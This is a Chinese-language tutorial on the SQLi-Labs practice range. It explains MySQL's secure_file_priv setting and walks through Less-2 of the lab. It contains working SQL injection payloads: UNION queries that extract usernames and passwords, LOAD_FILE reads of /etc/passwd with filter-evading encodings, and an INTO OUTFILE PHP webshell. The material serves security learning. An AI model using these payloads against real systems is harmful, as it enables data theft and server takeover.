SQLi-Labs
它是一个开源的、专门为学习 Web安全 和 SQL注入技术 而设计的靶场项目。开发者故意在代码中留下了各种不同类型的SQL注入漏洞,让安全研究人员、学生和爱好者可以在一个合法、安全的环境中进行实战练习,从而掌握发现和利用SQL注入漏洞的技能。
secure_file_priv
MySQL自5.6版本以后引入的一个重要的安全特性。它是一个系统全局变量,用于限制MySQL服务器进行文件导入(LOAD DATA INFILE)和导出(SELECT ... INTO OUTFILE)操作时,可以访问的目录范围。
这个设置的主要目的是防止恶意用户利用MySQL的文件操作功能来读取或写入服务器上的敏感文件(如 /etc/passwd
、网站源码等),从而极大地增强了数据库服务器的安全性。
secure_file_priv
的三种状态及其含义
SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';
该命令的返回结果通常为以下三种情况之一,每种情况都有不同的安全含义:
取值状态 |
含义 |
安全影响 |
---|---|---|
|
禁止所有文件导入导出操作 |
这是最安全的配置。意味着您无法使用 |
空字符串 ( |
允许文件导入导出到任意目录 |
这是最不安全的配置。MySQL可以对文件系统进行任意读写(受操作系统权限限制)。这是攻击者最希望看到的状态。 |
一个目录路径 |
只能向指定目录进行文件导入导出 |
这是一种折中的安全策略。文件操作被限制在某个沙箱目录内,既满足了功能需求,又大幅降低了风险。 |
配置 secure_file_priv
这个参数需要在MySQL的配置文件(my.cnf
或 my.ini
)中设置,无法在运行时通过SQL语句动态修改。
- Linux系统:配置文件为
/etc/my.cnf
或/etc/mysql/my.cnf
。 - Windows系统:配置文件为
my.ini
,位于MySQL的安装目录下。
在 [mysqld]
配置块下添加或修改该参数,然后重启MySQL服务才能生效。
配置示例:
[mysqld]
secure_file_priv = /var/lib/mysql-files/
要成功利用文件读写注入漏洞,攻击者需要 secure_file_priv
的值为 NULL
以外的状态。
文件读(下载)漏洞:
利用 SELECT ... INTO OUTFILE
语句,将数据库查询结果写入一个文件。如果 secure_file_priv
设置为一个可访问的目录,攻击者就可能将敏感数据(如用户密码哈希)写入该目录下的Web可访问文件,从而下载它。
SELECT * FROM users INTO OUTFILE '/var/www/html/export.txt';
文件写(上传)漏洞:
利用 LOAD DATA INFILE
语句,将一个文件的内容读取到数据库表中。如果配置不当,攻击者可以上传一个恶意的Web Shell(如PHP文件)到Web目录,从而获取服务器控制权。
LOAD DATA INFILE '/tmp/evil.php' INTO TABLE test_table;
配置值 |
含义解读 |
安全等级与影响 |
---|---|---|
|
对文件读写没有限制。 |
最低(最不安全) |
|
完全禁止文件导入和导出操作。 |
最高(最安全) |
|
只能对该指定路径下的文件进行读写。 |
推荐(平衡安全与功能) |
配置重要性
这个配置是 “文件读写型SQL注入” 漏洞能否被利用的关键前提。
黑客在发现一个SQL注入点后,如果发现 secure_file_priv
没有设置为 NULL
,他们可能会尝试:读取敏感文件:如数据库配置文件、系统密码文件等。写入恶意文件:例如,向Web目录写入一个PHP木马(Webshell),从而获取服务器控制权。因此,将 secure_file_priv
设置为 NULL
或一个严格的受限路径,是保护数据库服务器安全的一道重要防线。
前置条件
单引号字符串:LOAD_FILE('/etc/passwd')
十六进制编码:LOAD_FILE(0x2f6574632f706173737764)
(0x
后跟 /etc/passwd
的16进制值,可绕过某些引号过滤)
CHAR函数转换:LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))
(同样用于绕过过滤)
路径斜杠:必须使用Linux系统路径分隔符 正斜杠 /
(例如 /etc/passwd
),而不能使用Windows的反斜杠
常见读取目标
- MySQL配置文件:如
my.cnf
、config.php
(通常内含数据库连接密码)。 - 系统敏感文件:如
/etc/passwd
(用户信息)、Apache配置httpd.conf
。 - Web应用源码:通过读取网站源码寻找漏洞或敏感信息。
-
INTO OUTFILE
:特点:可写入多行数据,会执行格式化输出(如将字段值以制表符分隔,行以换行符结尾)。非常适合导出查询结果(如SELECT * FROM users INTO OUTFILE '/tmp/users.csv'
)。 -
INTO DUMPFILE
:特点:只能写入一行数据,且输出无任何格式(原始数据流)。适用于写入二进制文件(如DLL、EXE、图片)或单个字符串。 - 路径限制:
OUTFILE
后面只能接单引号字符串路径(如'/var/www/html/shell.php'
),不能使用十六进制或CHAR转换的路径,这是语法上的硬性规定。
常见写入目标
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
- 数据导出:将数据库数据导出到指定文件进行备份或分析。MySQL配置
secure_file_priv
:该系统变量决定了MySQL能否读写文件以及可以访问的目录。如果其值为NULL
(默认安全配置),则禁止所有文件读写操作。如果其值为某个路径(如/tmp
),则只能在该目录下进行文件读写。只有其值为空时,才允许进行任意文件读写。可通过SHOW VARIABLES LIKE 'secure_file_priv';
命令查看当前配置。 - WebShell写入:在具备可写权限的Web目录下写入PHP等脚本文件,从而获取服务器控制权。
第二关
首先打开php开启mysql,一定要5.7版本,打开靶场第二关,本关是 数字型注入(Integer-based SQL Injection) 的经典关卡。这一关与第一关(字符型注入)的核心区别在于:参数ID没有被单引号(')包裹,因此无需处理引号闭合问题。通关的核心思路是通过 UNION SELECT
语句拼接查询,直接从数据库中提取敏感信息。
攻击载荷:
1. 判断注入点与类型
首先,确认注入点是数字型,且可注入。
?id=1 and 1=1 --+ 页面正常 ?id=1 and 1=2 --+ 页面异常(返回空或错误)
如果符合该现象,说明为数字型注入,and 1=2
导致条件永假,原查询无结果。
2. 判断当前查询的字段数(列数)
使用 ORDER BY
子句进行猜测,直到页面报错:
?id=1 ORDER BY 1 --+ 正常
?id=1 ORDER BY 2 --+ 正常
?id=1 ORDER BY 3 --+ 正常
?id=1 ORDER BY 4 --+ 错误
这说明 当前查询的字段数为 3。
3. 确定显示位
使用 UNION SELECT
来找到页面中会回显数据的字段位置:
?id=-1 UNION SELECT 1,2,3 --+
页面通常会显示数字 2
和 3
(或 1,2,3
中的某几个),这两个数字就是我们可以用来回显数据的“显示位”。
4. 利用显示位提取信息
将您想查询的数据替换到显示位的位置上。以下是一些常用的Payload:
查看当前数据库名与用户:
?id=-1 UNION SELECT 1,database(),user() --+
页面会显示当前数据库名称和数据库用户。
查看所有数据库名:
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+
查看当前数据库的所有表名:
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --+
查看某张表的所有字段名(例如 users
表):
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+
最终目标:提取数据(例如 users
表中的用户名和密码)
?id=-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+
也可以用来文件读写
http://localhost/sql/Less-2/index.php?id=-1union select 1,'sfsf',3 into outfile 'd:/1.txt'--+
#第二个字段用来生成文件内容,不用提前创建文件,这条命令会自动创建
#into outfile '文件绝对路径' --+
最后可以看到在d盘生成了一个文本文件,字段2里包含了命令内容